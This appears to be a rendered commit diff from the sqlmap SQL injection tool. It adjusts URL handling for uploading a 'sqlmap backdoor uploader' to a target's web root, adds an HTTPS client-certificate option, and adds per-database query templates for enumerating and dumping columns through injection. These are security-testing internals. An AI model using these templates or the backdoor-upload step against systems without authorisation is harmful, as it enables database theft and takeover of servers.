def sqlQuery(self, query):
|
||||||
output = None
|
output = None
|
||||||
sqlType = None
|
sqlType = None
|
||||||
|
|
||||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||||
for sqlStatement in sqlStatements:
|
for sqlStatement in sqlStatements:
|
||||||
|
|||||||
@@ -169,7 +169,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
|||||||
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
|
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
|
||||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||||
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/")
|
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/")
|
||||||
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
|
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||||
|
|
||||||
if "sqlmap backdoor uploader" not in uplPage:
|
if "sqlmap backdoor uploader" not in uplPage:
|
||||||
|
|||||||
@@ -65,6 +65,11 @@ aType =
|
|||||||
# Syntax: username:password
|
# Syntax: username:password
|
||||||
aCred =
|
aCred =
|
||||||
|
|
||||||
|
# HTTPs Authentication certificate. Useful only if the target url requires
|
||||||
|
# logon certificate and you have such data.
|
||||||
|
# Syntax: key_file,cert_file
|
||||||
|
aCert =
|
||||||
|
|
||||||
# Use a HTTP proxy to connect to the target url.
|
# Use a HTTP proxy to connect to the target url.
|
||||||
# Syntax: http://address:port
|
# Syntax: http://address:port
|
||||||
proxy =
|
proxy =
|
||||||
|
|||||||
@@ -51,9 +51,13 @@
|
|||||||
<blind query="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1" count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/>
|
<blind query="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1" count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
|
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d, 1" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
|
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
</columns>
|
</columns>
|
||||||
|
<dump_column>
|
||||||
|
<inband query="SELECT table_schema FROM information_schema.COLUMNS WHERE " query2="SELECT table_name FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
|
||||||
|
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.COLUMNS WHERE " query2="SELECT DISTINCT(table_name) FROM information_schema.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.COLUMNS WHERE " count2="SELECT COUNT(DISTINCT(table_name)) FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
|
||||||
|
</dump_column>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s"/>
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
<blind query="SELECT %s FROM %s.%s LIMIT %d, 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s LIMIT %d, 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
@@ -102,9 +106,13 @@
|
|||||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
|
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
|
||||||
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE LIMIT=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
|
||||||
</columns>
|
</columns>
|
||||||
|
<dump_column>
|
||||||
|
<inband query="" query2="SELECT TABLE_NAME FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
|
||||||
|
<blind query="" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS" count="" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
|
||||||
|
</dump_column>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||||
@@ -161,9 +169,13 @@
|
|||||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
|
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' OFFSET %d LIMIT 1" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
|
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
</columns>
|
</columns>
|
||||||
|
<dump_column>
|
||||||
|
<inband query="SELECT nspname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT relname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
|
||||||
|
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT DISTINCT(relname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
|
||||||
|
</dump_column>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s"/>
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
<blind query="SELECT %s FROM %s.%s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
@@ -214,6 +226,7 @@
|
|||||||
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
|
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
|
||||||
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
|
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
|
||||||
</columns>
|
</columns>
|
||||||
|
<dump_column/>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s..%s"/>
|
<inband query="SELECT %s FROM %s..%s"/>
|
||||||
<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>
|
<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>
|
||||||
|
|||||||
Reference in New Issue
Block a user